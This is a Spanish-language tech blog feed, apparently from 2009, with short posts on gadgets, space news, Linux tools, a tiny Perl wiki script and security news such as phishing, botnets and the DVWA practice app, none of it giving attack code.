  Impresionante selección de 10 lugares en el mundo donde nadar es toda una experiencia. Desde la Bahía Bioluminiscente en Puerto Rico, el Lago de las Medusas  hasta la Piscina del Diablo en las Cataratas Victoria (donde no puedes saltar, bueno si que puedes pero no se recomienda).

   

  Puedes ver todo el listado en:

  SupertightStuff

  Visto en Neatorama

  Las nubes y el final de verano en Titán

  

  De nuevo en Sondas Espaciales nos hablan sobre Titán, en concreto sobre las nuevas nubes formadas en la atmósfera a raiz del cambio de estación observadas por la sonda Cassini. Titán está ahora pasando de verano a otoño y las estaciones duran unos siete años. La atmósfera está compuesta de nitrógeno y metano, y está unas 10 veces más lejos del Sol que la Tierra, lo que provoca que responda más lentamente a los cambios.

  Unos días en Escocia ...

  

  Hola de nuevo, he pasado unos días formidables en Escocia, ya os pondré algunas fotos y un pequeño resúmen de los sitios que hemos visitado (os debo también la guía de nuestro viaje por Islandia).

  Un saludo a todos.

  25 Cumpleaños del Tetris

  

  25 años hace que al matemático ruso Alexy Pajitnov creo uno de los plataforma más jugados de la historia, en el que hay que encajar figuras, para lo cual se pueden rotar, en los agujeros que van quedando libres y así ir creando “líneas” que hacen desaparecer filas y darnos puntos.

  Se han vendido más de 125 millones de copias lo que se traduce en unos 5 millones de ventas al año y está disponible en más de 50 países.

  VelociRaptor Vs SSD

  

  Si quieres salir de dudas sobre los distintos discos que hay en el mercado. Para  mi este es uno de los mejores benchmark que he encontrado.

  Más info aquí. (inglés)

  Ksplice

  

  Ksplice es un proyecto desarrollado por un grupo de alumnos del MIT. Este proyecto tiene como objetivo el evitar el molesto reinicio de tu sistema después de instalar algún parche crítico. En Linux, especialmente cuando instalamos un nuevo kernel. Además como nota curiosa, este proyecto ha sido galardonado con el MIT $100k Business Plan Contest.

  Página oficial del proyecto.

  Microsoft Project Natal

  Aunque todavía no está lista para su lanzamiento Microsoft ha enseñado en el E3 el dispositivo al que llaman Project Natal.

  Mediante un sistema de dos camaras (una de video y otra infrarroja) es capaz de capturar movimientos y de interactuar con los jugadores. Con la cámara IR obtiene información sobre la profundidad, y la cámara de video analiza los movimientos en 2D.

  

  Sig Wik

  

  Sig Wik es un wiki escrito en perl con la ayuda del shell. Y ustedes se preguntarán que tiene eso de especial. Pues esto:

  #!/usr/bin/perl
   use CGI':all';path_info=~/\w+/;$_=`grep -l $& *`.h1($&).escapeHTML$t=param(t)
   ||`dd<$&`;open F,">$&";print F$t;s/htt\S+|([A-Z]\w+){2,}/a{href,$&},$&/eg;
   print header,pre"$_<form>",submit,textarea t,$t,9,70

  ¿Qué es esto? Pues el código fuente del wiki. 222 caracteres. Si te pica la curiosidad y quieres probarlo, esto son los pasos a seguir:

  1. Crea un subdirectorio /sig/ en tu cgi-bin.
  2. Sube el script a tu subdirectorio (cgi-bin/sig/wik)
  3. chmod 755 wik
  4. chown nobody cgi-bin/sig para asegurarte de que el script tiene permiso de escritura en cgi-bin/sig
  5. Abre tu navegador /cgi-bin/sig/wik/HomePage
  Más información aquí.

  China bloquea Twitter y Hotmail

  

  A partir de las 17:00 hora local de ayer (2-jun-09) China bloqueó el acceso a los servicios de hotmail, bing, twitter y flickr.

  “¿Por qué lo han hecho? ¡Ya puestos que cierren ya internet entero!”, lamentó un usuario anónimo en los comentarios del blog informativo Danwei. “Bloquear Hotmail es algo importante, que afectará a mucha gente que no se quejaría por Youtube o Twitter pero para los cuales el correo electrónico es esencial”, agregó otro internauta, identificado como Alex.

  Alternate Data Streams en NTFS

  Gracias a Kriptópolis, descubrimos un muy interesante artículo que trata acerca de los Flujos Alternativos de Datos (Alternate Data Streams) en NTFS.

  Es una característica bastante poco conocida del sistema de ficheros de Windows, que puede conseguir (entre otras muchas cosas) que no sepas qué contiene exactamente un fichero o que no sepas dónde ha ido a parar todo el espacio libre de tu disco duro.

  Gracias a uno de los comentarios, también podemos encontrar otro artículo sobre cómo tratar con semejante perversión desde nuestro sistema operativo favorito: GNU/Linux. ;-)

  Comparativa entre lenguajes de programación

  En esta página podéis encontrar una comparativa entre diferentes lenguajes de programación, atendiendo al tamaño de los fuentes que se requieren para hacer algo y su eficiencia en cuanto a velocidad. Esto ha servido de base para que en esta otra página hagan unos diagramas para ilustrar gráficamente el resultado.

  Los vértices de las estrellas son los puntos donde se encuentran los diversos programas usados para las pruebas (cualquiera puede subir nuevos programas para mejorar la prueba de rendimiento), a saber: verticalmente se refleja el tamaño del código y horizontalmente la velocidad del programa resultante. El centro de la estrella es la media obtenida con dicho lenguaje, siendo el ideal que se encuentre en la parte inferior izquierda del diagrama (pocas lineas de código y muy rápido).

  SET ezine Nº 37 ¡ya disponible!

  

  Ya está disponible para su descarga el número 37 del ezine SET.

  Los contenidos son los siguientes:

   0x00     Contenidos                      (007 k)   SET 37       SET Staff
   0x01     Editorial                       (005 k)   SET 37       Editor
   0x02     Jugando con Frame Pointer       (039 k)   Hacking      blackngel
   0x03     Bazar de SET                    (037 k)   Varios       Varios Autores
      3x01     Tecnica Ret-onto-Ret                   Hacking      blackngel
      3x02     Tecnica de Murat                       Hacking      blackngel
      3x03     Overflow de Enteros                    Hacking      blackngel
      3x04     Un Exploit Automatico                  Hacking      blackngel
   0x04     Explotando Format Strings       (037 k)   Hacking      blackngel
   0x05     Metodos Return Into To Libc     (032 k)   Hacking      blackngel
   0x06     Ingenieria Social y Estafas     (020 k)   Ing Social   FiLTHyWiNTeR!
   0x07     Curso de Electronica 08         (037 k)   Hardware     elotro
   0x08     Programando Shellcodes IA32     (032 k)   Hacking      blackngel
   0x09     Proyectos, peticiones, avisos   (009 k)   SET 37       SET Staff
   0x0A     Nmap en el Punto de Mira        (027 k)   @rroba       SET Staff
   0x0B     Heap Overflows en Linux: I      (033 k)   Hacking      blackngel
   0x0C     Analisis CrackMe en Linux       (021 k)   Cracking     blackngel
   0x0D     Llaves PGP                      (008 k)   SET 37       SET Staff

  ¡¡De nuevo gracias blackngel!! ;-)

  Micromotores SWUM y pizzas.

  

  Parece una broma pero no lo es. Los nuevos SWUMs tendran implementadas un conjunto de ecuaciones que capturan el arte de amasar pizzas de manera acrobática y rápida. Los autores de este estudio son los mismos científicos principales del equipo que recientemente desarrolló el motor útil más pequeño del mundo, de sólo un cuarto de milímetro de ancho, que podría ser utilizado en el sistema de propulsión de máquinas minúsculas para nadar a través del torrente sanguíneo hacia lugares inaccesibles, lo que promete revolucionar los procedimientos quirúrgicos del futuro.

  Disponible la nueva versión del HD SSD PCI-Express …

  

  La marca de los nuevos discos duros sólidos PhotoFast anunció la salida en abril de la nueva ssd pci-e de 750MB/s. Ahora, tan sólo un mes después, sale en primicia un nuevo modelo: la G-Monster-Promise que alcanza los 1000MB/s. El disco se puede ver, esta misma semana, en algunas tiendas del famoso distrito de Akihabara. Sus precios: unos 1.600 dólares (1.200 euros al cambio) el modelo de 128GB, 2.000 dólares (1.500 euros) el de 512GB y 4.500 dólares (3.400 euros) por uno de 1TB.

  Primera reparación del LHC

  

  En la imagen: conexión entre imanes superconductores del LHC

  El LHC dispone de 1232 imanes superconductores distribuidos a lo largo de sus 27 kilómetros de longitud (algo más de 4 km de radio). Éstos se encargan básicamente de curvar la trayectoria de los haces formados por partículas cargadas (los haces que han circulado y que circularan por el anillo del LHC estaran formados por protones e iones de plomo) que deberán colisionar únicamente en los puntos donde se encuentran situados los experimentos (CMS, ATLAS, etc…). Es decir, que gracias a estos imanes el LHC puede tener su forma circular, optimizando así el espacio.

  El primer bittorrent

  

  Procesador de 8 bits casero

  

  Increible, pero hay quien ha conseguido montar (y que funcione) un procesador de 8 bits de forma totalmente artesanal, empleando para ello 18 meses, 1253 pedazos de cable y mas de 1.000$.

  Como no podía ser de otra forma se llama BMOW –Big Mess Of Wires (gran lío de cables). Incluso tiene a la venta un libro en el que cuenta de forma detallada el proceso de frabricación.

  Refrigeración pasiva total

  

  ¿Queréis no volver a escuchar esos molestos ventiladores de vuestros equipos? Aquí un “paso a paso” de como conseguirlo con un Opteron 170 @ 2,4 GHz y una GeForce 6800GT. GPU y fuente de alimentación incluidas. Advertencia: el aluminio es caro ;-)

  

  Visto en metku.net

  Ubuntu User

  

  Ubuntu User es la primera revista impresa enfocada a Ubuntu Linux. Acaban de lanzar su primer número, el cual viene acompañado con un DVD de 2 caras. Por una cara tenéis la versión de 32 bits de Jaunty y por la otra la versión de 64 bits. También te puedes suscribir por 29,90 por 4 ejemplares.

  Más información aquí.

  Libro de pegatinas de software libre

  Son dos volúmenes listos para descargar e imprimir con cantidad de logotipos y diseños, para que no tengáis excusa de libraros de la horrorosa pegatina de cierto sistema operativo impuesto con la compra de vuestro ordenador… ;-)

  

  Incluye los archivos de las imágenes, para poder ser modificados al gusto.

  Podéis encontrarlo aquí.

  Visto en: Cambia de S.O.

  Un "todo en uno"... como cubo Rubik

  

  El cubo permite hasta 270 grados de rotación y es compatible con 56 diferentes tipos de tarjetas, entre las que podemos nombrar la microS, miniSD, SD, microSDHC, SDHC, Ms Pro DUO, Ms Pro, M2, xD, etc. Su precio será de 10$.

  Dedicado a cybercaronte.

  Visto en gizmotika

  Probando un modem de 1964 a 300 baudios, ¡y …

  Modem de Livermore Data Systems, a 300 baudios. Pues phreakmonkey decidió un día probar a ver si aún hoy día esta pieza de vieja tecnología podía funcionar. Sólo ha tenido que cambiar el cable para el puerto serie db-25 ya que el cable serie original no funcionaba (por problemas con el oscilador, ya que depende del voltaje del puerto serie), el resto del hardware es el original.

  Marcó y conectó a 300 baudios, desde Linux se logea a un sistema remoto y ejecuta lynx para abrir la Wikipedia.

  DVWA

  

  DVWA o Damn Vulnerable Web Application es una aplicación web con ciertas vulnerabilidades creadas a propósito. Es una aplicación ideal para enseñar técnicas de penetración o incluso para nuestra práctica personal. Entre otras, estas son algunas de las vulnerabilidades que puedes encontrar:

  SQL Injection XSS (Cross Site Scripting) LFI (Local File Inclusion) RFI (Remote File Inclusion) Command Execution Upload Script Login Brute Force

  Muy importante, no instales esta aplicación en tu hosting o algún otro host público a menos que sepas lo que estás haciendo.

  Hiperrealismo en videojuegos

  Nuestro querido viejo amigo y maestro Jose María Villalobos, ha escrito un estupendo post sobre el realismo en los videojuegos y su evolución en el futuro:

  “He visto cosas que nunca creeríais”, en Gameover.es

  Como ejemplo destaca el video que tienes en la cabecera de este post, sobre el juego Beyond Good and Evil 2, donde se intenta dar un mayor realismo al movimiento (es realmente espectacular).

  Lo más raro visto en Google Earth

  

  Tenemos una noticia en cyberhades que es: 51 lugares que no puedes ver en Google Maps . En este caso es algo parecido: una recopilación de algunos de los lugares, objetos y momentos más raros y curiosos que pueden encontrarse hasta ahora en Google Earh. Se pueden ver desde accidentes hasta aviones de la segunda guerra mundial en pleno vuelo… o un caza aparcado en la plaza de minusválidos.

  Data Mask Hud, gafas retroiluminadas.

  

  Para el buceador que quiera tener el máximo control en la inmersión. Indica la profundidad, el tiempo de inmersión, el que nos queda y la presión. Guarda los datos de las últimas 25 inmersiones y se conectan por USB. Su precio es de 1.495,95 $.

  Ojo para los que siguen Lost.  ()-o

  Ejecutar aplicaciones Android en Ubuntu

  

  La empresa Canonical ha presentado en la Ubuntu Developer Summit en Barcelona un prototipo de entorno de ejecución que permitiría ejecutar aplicaciones Android sobre Linux Ubuntu.

  Android utiliza un kernel de Linux pero realmente no es una plataforma Linux. Es un entorno basado en Linux donde ejecutar aplicaciones usando un runtime de Google basado en Java.

  De momento aún está en fase inicial.

  Visto en:

  ArsTechnica

  Windows Vista SP2 Disponible

  

  Ya esta disponible para descarga el SP2 para windows vista.

  Descarga

  Lista de cambios (en Ingles) [Microsoft TechNet]

  Pinguinos robóticos, nadadores y voladores

  ¿Y por qué no?

  Lacie DataShare

  

  Gadget para reciclar nuestras tarjetas MicroSD y SD.  En uno almacenas una tarjeta MicroSD y en el otro una tarjeta SD.

  Una buena idea para tener la información separada en dos dispositivos. Es bastante pequeño y al unirlos tenemos un dispositivo de almacenamiento dual y a la vez pequeño.

  Visto en:

  The Fire Wire.

  Web del producto:

  Lacie

  ClarkConnect, gateway y servidor todo en uno

  

  Buscando algunas soluciones globales en Linux para ejercer de gateway, proxy, etc ... hemos probado muchos, como por ejemplo el fantástico ipCop, Mikrotik y el no menos genial SmoothWall. Al final hemos encontrado una solución bastante buena ya que en una misma instalación puedes tener un servidor de correo, servidor web, backup, servidor de ficheros, antivirus, antispam ... y un largo etc. todo en uno. Si no quieres pelearte creando tu propia distribución desde cero , jugar con las iptables o con el Samba, esta puede ser la solución.

  Análisis al "Koobface" (el virus/gusano del …

   

  Ya comentamos en CyberHades el ataque a Facebook, pues los chicos de S21sec han realizado un análisis detallado al Koobface, uno de los virus/gusanos que atacaron a dicha red social.

  No os lo perdáis: 

  Koobface: tirando del hilo (S21sec Blog)

  70 Wallpapers más para monitores duales

  

  Si tienes dos monitores en tu escritorio, esta colección de wallpapers te gustará para decorarlos.

  Más wallpapers duales en Cyberhades.

  Web con la colección:

  SmashingMagazine

  Visto en:

  LifeHacker

  Cormorant: el primer avión submarino espía.

  

  Un aparato que sea lo suficientemente fuerte para aguantar presiones de hasta 50 metros y además que sea ligero para volar, con un motor que funcione en cualquier tipo de fluido, que además posea la última tecnología de detección, tanto en el aire como bajo el agua, y por último, que sea invisible al radar… este fue el increible proyecto a desarrollar tras la guerra fría y que acaba de concluir.

  SoftPerfect Network Scanner, otra herramienta para …

  

  Hemos probado muchos escáners de redes, pero este parece bastante interesante y merece la pena echarle un vistazo. Algunas diferencias con los demás son, muestra información sobre el S.O., ver recursos compartidos (y acceder), enviar peticiones WMI, etc …

  Es gratuito y puedes descargarlo desde aquí.

  Visto en 4SsysOps

  25 mejores viñetas sobre programación

  

  El resto de las viñetas aquí.

  Señoras y señores... la computadora.

  

  Esta fotografía es propiedad del Hulton Archive/Central Press/Jimmy Sime y es Copyrigt de Time Out Group Ltd 2008.

  La imagen la he sacado de un libro que compré en Londres: "London through a lens". Contiene fotografías antiguas realizadas por fotógrafos importantes dedicadas a esta ciudad. Estas fotografías van desde la más antigua, que es de 1904, hasta la actualidad. Esta foto es de 1959 y en ella se ve al doctor HA Thomas, de "Fabricaciones Unilever", explicando el funcionamiento básico de una computadora en la Royal Festival Hall. Hemos de tener en cuenta que hasta 1970 no se fabricó una calculadora de "bolsillo". Esta foto es una rareza ya que la información que se dio en aquel momento estaba muy por encima de la media de conocimientos que poseía la población. Es como si hoy en día se intentara explicar el funcionamiento de un colisionador de partículas a la gente de a pie. Según el libro, este fue uno de los comienzos publicitarios de IBM, una ardua tarea ya que ese primer equipo costaba 80.000 $.

  Oficinas de Google en Zurich

  

  Interesantes fotos de las oficinas de Google en Zurich.

  Para ponernos los dientes largos a todos!

  Trailer de "Sherlock Holmes" 2009

   

  Espectacular, promete, promete … ;)

  Sherlock Holmes 2009

  Retro Arcade Museum

  

  Realmente hay que visitarlo, no sólo encontrarás videojuegos de Atari (todos), Magnavox Odyssey, Mattel Intellivision, Telstar, Vectrex etc … también tiene un apartado para series de TV.

  Eso sí, tenemos que ir a NY para verlo.

  http://www.retroarcademuseum.com/

   

   

   

  Manoi Go, el robot bailarín de break dance

  Se puede conseguir por 1.500$.

  Visto en GeeksAreSexy

  Estructura del registro de Windows

  

  Si hay una pieza importante en el sistema operativo de Microsoft, aparte del kernel, ese es el registro. El registro windows en muchas ocasiones es un misterio. Probablemente conozcas ALGUNAS claves de registro donde se cargan los programas al inicio, o en que clave guarda Nero parte de su configuración, pero ¿Qué hay del resto del registro? ¿Cómo funciona? ¿Qué información podemos extraer en un estudio forense? Peter Norris ha puesto a disposición del público su tesis basada en el estudio de la estructura interna del registros de Windows, pero no sólo eso, si no que además también te puedes descargar las applicaciones que ha ido creando, así como su código fuente.

  Adaptador para la Wii para usar viejos mandos

  

  Komodo/Innex Retro Adapter es una adaptador para la Wii que te permite usar los mandos de la NES, SuperNES ó Nintendo64. Se comercializará este año y costará alrededor de 20$.

  Visto en:

  CNet News

  Trailer del remake de "V"

  Visto en:

  Microsiervos

  El último disco de Danger Mouse es un CD vírgen

  

  Pues sí, y encima te anima a que lo descarges completo desde las redes P2P. Se vende en dos formatos, uno por 10$ con un póster y otro por 55$ con un libro de 100 páginas con fotografía de David Lynch.

  Si quieres saber el por qué de este original lanzamiento, visita:

  Pixel y Dixel

  Danger Mouse

  Comprobar si tu procesador puede con el "Modo …

  

  Ya hemos hablado en cyberhades del “Modo Windows XP” que trae Windows 7. Para funcionar necesita que el procesador sea compatible con la virtualización por Hardware.

  Mediante el sencillo programa de SecurAble podemos comprobar si va a funcionar o no el Modo Windows XP.

  Visto en: Lifehacker

  La Casa Blanca por dentro ...

  

  Seguro que siempre has querido saber cómo es por dentro La Casa Blanca.

  Puedes ver detalladamente cada piso y habitación en:

  The White House Museum

  Visto en:

  Neatorama

  Windows 7: Cambiar de Impresoras por defecto …

  

  Una de las muchas novedades que incluye Windows 7 es la de poder definir las impresoras por defecto según a que red estemos conectados (p.e. Trabajo, Casa, etc..).

  Muy útil para aquellos que trabajan con portatiles.

  Visto en: Lifehacker

  De la Voodoo a la GeForce: historia de las …

  

  Espectacular artículo donde se hace un repaso a la historia (casi una a una)  de las tarjetas gráficas 3D. Se habla por ejemplo de las míticas 3dfx Voodoo3 y las S3 Virge.

  No te lo pierdas.

  Puedes ver todo el artículo en:

  MaximumPC

  Grifo geek

  

  En geek.com podemos ver un artículo sobre el primer grifo inteligente con conexión a internet. Además de ello, el grifo tiene una pequeña pantalla LCD que dependiendo de la temperatura del agua cambie de color, rojo para caliente y azul para fría. Gracias a la conexión a internet, es capaz de mostrarte información meteorológica. Y lo más sorprendente es que dispone de un reconocedor facial, de forma que cada miembro de la familia puede programar la temperatura del agua a su gusto. Me pregunto cuanto costará.

  Cómo hacer un "pinball" con una cinta VHS

  Visto en:

  Neatorama

  El SETI detecta un pulso láser de origen …

  

  En diciembre de 2008 se detectó una señal láser del espacio exterior. El descubridor fue un astrofísico del SETI llamado Ragbir Bhathal. No informó de inmediato sino que esperó cinco meses hasta hacer público su descrubrimiento, cuando ya estaba lo bastante seguro de que no era un error en los instrumentos ni un fenómeno físico.

  Pero parece que se vuelve a repetir lo mismo que con la señal WOW, sólo se ha detectado una vez y no ha vuelto a aparecer. Ahora este científico está analizando una y otra vez la misma zona del cielo para ver si vuelve a detectarla y analizarla mejor.

  Chuletas para Diseñadores Web

  

  Si eres diseñador web o una de tus funciones es la de diseñar o incluso programar aplicaciones web y tienes que lidiar con las diferencias entre IE6, 7, 8, Firefox 2,3, Google Chrome, Safari, Opera, etc entre otras cosas. En esta página podrás encontrar una gran cantidad de chuletas que te serán de gran ayuda.

  Ciudad Virtual creada sólo con código …

  No hay texturas ni nada por el estilo, sólo programación pura y dura.

  Alucinante.

  Echa un vistazo a la web del autor, donde te lo explica todo:

  ShamusYoung

  Visto en:

  Microsiervos

  Planetared

  La Spirit se atasca en "Home Plate"

  

  La sonda Spirit comenzó hace ya un tiempo a avanzar por una zona llamada "Home Plate", de la cual ha recorrido hasta ahora 122 metros. Esta zona tiene terrenos blandos y es aquí donde el robot ha enterrado las ruedas hasta la mitad del terreno. Pasará un tiempo hasta que vuelva a andar, ya que se tienen que evaluar muchos factores y esperar también a que se recargen las baterías para conseguir mayor fuerza de tracción (esto de momento marcha bien ya que el viento marciano está limpiando los paneles solares).

  Los actores de los Goonies juntos por su 20th …

  The Goonies.

  Visto en:

  The Fire Wire

  Facebook, atacada

  

  La red social más grande (200 millones de usuarios), Facebook,  ha sido atacada, y se han logrado conseguir contraseñas de muchos usuarios. Como medida, Facebook ha bloqueado las cuentas comprometidas, pero no se ha hecho un comunicado oficial indicando el número exacto de cuentas que han sido atacadas.

  Todo se ha realizado usando un ataque clásico de phishing, enviando correos a usuarios donde se les daba acceso a un link falso (del dominio tipo www.151.com, www.121.com, etc ...) donde se les decía que volvieran a iniciar sesión (y de esta forma capturar todos los datos). Parece que la finalidad del ataque era conseguir el mayor número de correos posibles para luego hacer un ataque de spam contra ellos.

  Espectacular foto del Transbordador Espacial y el …

  

  La mancha de arriba es el Atlantis junto a el Hubble … Foto realizada por Thierry Legault.

  Alucinante.

  Visto en:

  Discover Magazine

  Más información:

  Microsiervos

  D-Link añade captchas a sus routers

  

  Ahora tendrás que añadir aparte de la contraseña de administrador para acceder al router, un captcha para comprobar que realmente eres un humano y no un programa malware el que quiere acceder. La lista de contraseñas por defecto que tienen los routers D-Link son tan populares que muchos programas malware, com por ejemplo el troyano zlob, pueden logearse como si fueran el administrador del router y cambiar por ejemplo la configuración de las DNS (en CyberHades ya comentamos este tipo de ataque aquí).

  Fondos de pantalla juegos retro II

  

  Ya pusimos esta entrada parte I, y ahora hemos visto en LifeHacker la segunda parte de esta magnífica colección de fondos de pantalla retro.

  Orioto’s Video Game Remake Gallery

  Enjuto Mojamuto, algo se muere en el alma cuando …

  Muchachada Nui

  Monitorizando el uso del ancho de banda

  

  Linux Magazine nos trae este artículo dónde nos explican sobre el uso (y la existencia, yo no conocía esta herramienta) de vnStat. vnStat nos permite guardar los datos estadísticos del uso de nuestro ancho de banda por una interfaz de red determinada. Por ejemplo, para monitorizar wlan0, podemos hacerlo de la siguiente manera:

  sudo vnstat -u -i wlan0

  vnStat también te permite ver el tráfico por día (–day), semanas (–week), etc. El post también habla sobre otra pequeña utilidad vnStati. Básicamente con esta herramienta podremos ver los datos estadísticos gráficamente.

  HDMI 1.4 tendrá Ethernet

  

  Según se ha filtrado el nuevo estandart HMDI (High-Definition Multi-media Interface ó Interfaz multimedia de alta definición) tendrá conexión Ethernet.

  Hasta ahora el cable HDMI 1.3 permitían el transporte de información de vídeo y audio, pero la nueva versión le añade la capacidad de transportar datos. Con ello podríamos compartir la conexión a internet entre diferentes dispositivos multimedia (TV y HD multimedia, etc), entre otras muchas aplicaciones.

  "Battlestar Galactica: The Complete Series" en …

  Madre mía, 20 discos en alta definición con 13 horas de contenidos extra.

  En Amazon puedes reservarlo por 100$ menos, te saldría a 245$ en vez de los 350 que costará cuando salga el 28 de julio. El Multizona y contiene los subtítulos en español …

  Un buen regalo para mi amigo Freeman y para mi también.

  Visto en:

  ZonaFandom

  Random number generator (humor geek)

   

  

  Dilbert como siempre, fantástico.

  Lansweeper, herramienta para inventario de …

  

  Windows

  Esta herramienta administrativa te permite crear un inventario de software y hardware de un equipo en el momento que un usuario hace logon, introduciendo una simple línea de código en el script de inicio de sesión.

  Características:

  • Datos del usuario, fotos, grupos, número de logons, …
  • Toda la información del hardware
  • Todo el software instalado, parches y licencias
  • Toda la información sobre la configuración del equipo
  • Toda la información sobre la configuración del Windows
  • Todo los usuarios del Directorio Activo y el detalle de sus equipos
  • Todos los procesos en ejecución
  • Las entradas de registro que configures
  Y bastante más.

  Para descargarla:

  La Estrella de la Muerte destruye el Enterprise

  Uf, esto le puede doler a los trekkies ;)

  Visto en:

  Microsiervos

  España líder mundial en descargas de contenido con …

  

  El software más usado para descargas ilegales en Internet es el Bittorrent, seguido de eDonkey, los dos se suponen el 90% de todo el software de descargas.

  El ranking ha sido realizado por BayTSP, empresa especializada en rastreo de contenido con copyright online y también envía notificaciones de violaciones de copyright en YouTube. Este informe corresponde a 2008.

  España, la primera seguida de Italia y Francia ... EEUU es la octava.

  Mac OS X 10.5.7 Disponible

  

  Ya esta disponible la actualización a 10.5.7 de Mac OS X. En ella se corrigen aspectos que afectan a la estabilidad, la compatibilidad y la seguridad.

  Lista completa de novedades.

  oFono

  

  oFono es un proyecto que nos traen Nokia e Intel, cuya idea principal es la de proveer un marco de trabajo para el desarrollo de aplicaciones de telefonía móvil GSM/UMTS. oFono tiene licencia GPLv2. ¿Otro competidor para Android y iPhone SDKs?

  Simpsonízate, Convierte una foto a estilo Simpson

  

  Muy divertido, puedes hacerlo desde aquí:

  http://simpsonizeme.com/

  Visto en:

  The FireWire

  Vulnerabilidad en Gmail - Google docs

  

  Aditya K Sood ha publicado un documento donde explica como se puede vulnerar GMail - Google Docs a través de documentos PDF. Aunque según parece el problema de seguridad está más bien en el plugin de Adobe para abrir documentos PDF. Según el autor del artículo, a lo más que ha llegado es al robo de datos en la parte del cliente, como son las cookies. Y según comenta el mismo, debido a las restricciones de seguridad que Adobe aplica s su plugin, es difícil llegar a más. Aquí tenéis el aviso, su versión PDF y un documento donde se detalla el problema. Google parece que ya ha tomado cartas en el asunto y ha deshabilitado el plugin de Adobe.

  Top 10 funciones nuevas para Android 1.5

   Nuestro amigo Tuxotron ya nos ha explicado cómo se actualiza a Android 1.5.

  Seguro que esta selección de 10 funciones nuevas que incluye te convencerán a hacer la actualización:

  1. Nuevo teclado virtual inteligente.

  2. Página principal personalizable con Widgets.

  3. Carpetas con información dinámica, donde puedes ver el contenido sin abrirla (similar al QuickLook del OS X Leopard)

  4. Grabación y compartición de videos.

  5. Subida de ficheros directamente a Picasa

  "The Recreation", visión moderna de "La Creación"

  

  Espectacular escultura creada por Kris Kuksi, llamada “The Recreation”, una versión moderna de “La Creación”

  Para ver mejor los detalles:

  Hifructose

  Visto en:

  Neatorama

  Entrevista a los fundadores de Panoramio en …

  

  En la web de Tecnópolis UP TV  (os recomendamos todos sus videos) hay una interesante entrevista a Joaquín Cuenca Abela y una charla de  Eduardo Manchón  ambos fundadores de la única empresa comprada por Google, Panoramio. 

  Podrás enterarte de detalles tan interesantes como por ejemplo cómo fue la operación de adquisición por parte de Google, un análisis de la actual  Web 2.0, funcionamiento de Panoramio, cómo trabajan ahora en la sede nueva en Suiza de Google, y mucho más.

  Una Botnet activa una opción a sus PCs infectados …

  

  Las Botnets no sólo pueden robarte tus datos financieros, o hacer de tu equipo un zombie para atacar (usando por ejemplo DoS), sino que también cuando los dueños de las Botnet quieren, pueden hacer que tu sistema operativo deje de funcionar. Y eso es exactamente lo que ha ocurrido, por alguna razón una botnet ha activado esta opción de inutilizar afectando a 100.000 ordenadores.

  El bot troyano es el Zeus/Zbot, que recolecta información personal y financiera del usuario. En cada instalación cambia lo que hace difícil de rastrear para antivirus. Pues este Zeus tiene también la característica añadida de “kos” ó “kill operating system”.

  Diseños papercraft del World of Warcraft

  

  Ya sabéis que nos gustan mucho los papercraft, y si eres fan también del WoW pues aquí tienes unos bastante complicados pero realmente espectaculares.

  Puedes verlos aquí:

  http://wowpapercraft.blogspot.com/

  Y en:

  World of Warcraft Europe

  Tienes una entrevista con el autor.

  Nuevo trailer espectacular de "Terminator …

  Como dicen en ZonaFandom, mucho cuidado con verlo que casi te cuenta la película completa, pero es espectacular. El nombre de "Terminator Salvation" le viene muy bien, a ver si salva la saga después de la cagada de Terminator 3 (escalofrío me entra sólo de pensarlo).

  Tour Virtual a la Estación Espacial

  

  Impresionantes fotos de la Estación Espacial Internacional y todos su módulos en 3D, con las que puedes hacer un auténtico tour virtual.

  Puedes verlas desde aquí:

  http://www.nasa.gov/externalflash/photosynth/index.html

  Visto en:

  Engadget

  SecurityTube

  

  SecurityTube es un sitio donde almacenan videos orientados a la seguridad informática. Desde demostraciones de concepto hasta tutoriales sobre programación de sockets, ensamblador, etc. Incluso podrás encontrar algo de humor… geek, por supuesto. Tiene buena pinta y sin duda alguna habrá que echarle un rato a ver lo que tienen, que seguro tienen mucho interesante.

  Visto en reddit

  Wspring, protocolo de comunicaciones de datos por …

  

  Creado por el premio Nobel Joe Taylor, wspring es un nuevo protocolo de comunicaciones por radio que permite la recepción de señales que están muy por debajo del nivel de ruido de radio. La velocidad de transmisión es lenta y poco potente pero permite una fuerte corrección de errores y fiabilidad.

  La última noticia es que se ha conseguido comunicar atravesando el Océano Atlantico desde EEUU a Italia, usando sólo un trasmisor casero de 20 mw.

  Feliz cumpleaños al sector de arranque

  

  Ayer 7 de Mayo se celebraba el 28 cumpleaños del sector de arranque. Elemento muy importanto en nuestro ordenador y que tantos dolores de cabeza nos dado cuando hemos intentado instalar más de un sistema operativo en la misma máquina. También objetivo muy goloso para los virus de antaño y quien sabe si pare los de hoy también. En este post, hacen un repaso técnico y breve del funcionanmiento del mismo. Lectura recomendad para el fin de semana.

  Lego MindStorm NXT, robot para pintar retratos

  Visto en: HackedGadgets

  Guía para alargar la vida de las baterías de …

  

  La batería de un portátil se puede cargar del orden de 300 a 1000 veces, todo depende de la forma en la que ha sido tratada.

  ¿Cómo cargar, descargar y almacenar una batería de forma correcta para alargar su vida?

  Según la estupenda página de 4SysOps, estos son algunos consejos:

  NOTA: una descarga "total" es dejar la batería hasta que esté totalmente descargada (se apaga), al 0%. Si no se indica el término "total", suponemos que está más o menos al 1% aún tiene un poco de carga.

  The Sound of Invention

  the sound of invention from Peter Esmonde on Vimeo.

   Trimpin es un artista de Seattle que crea sonidos increibles a partir de objetos, tanto individuales como ensamblados en fantásticas esculturas.

  Arte y tecnología juntas.

  Página oficial del documental:

  Trimpin documental official site

  Visto en:

  BoingBoing

  Ratón para la PSP

  Usando un PIC  ATMEL ATmega8  y un ratón PS2, conectado al puerto serie de la PSP.

  Más información en:

  Engadget

  Kindle DX

  

  Amazon acaba de anunciar en su web la nueva versión de Kindle. El Kindle DX. Es prácticamente el mismo dispositivo que su hermano pequeño, pero la pantalla de éste es 2 veces y media más grande. Con lo cual, según la noticia oficial, podrás leer un pdf de forma nativa sin tener que hacer zoom o conversiones del mismo. Esta versión sale por 489 dólares unos 367 euros.

  Actualizando a Android 1.5

  

  A continuación voy a explicar los pasos que seguí para actualizar mi Android Dev Phone a la versión 1.5 de Android. En general, según explica la página de HTC, hay 2 métodos de actualización.

  1.- Usando una imagen de recuperación. 2.- Usando comandos fastboot.

  Según la página oficial, el primero de los métodos es el más sencillo, por lo tanto es el que yo he sguido. Una última aclaración, el sistema que corre mi portatil es un Ubuntu 9.04.

  Las primeras fotos de la sonda espacial Kepler

  

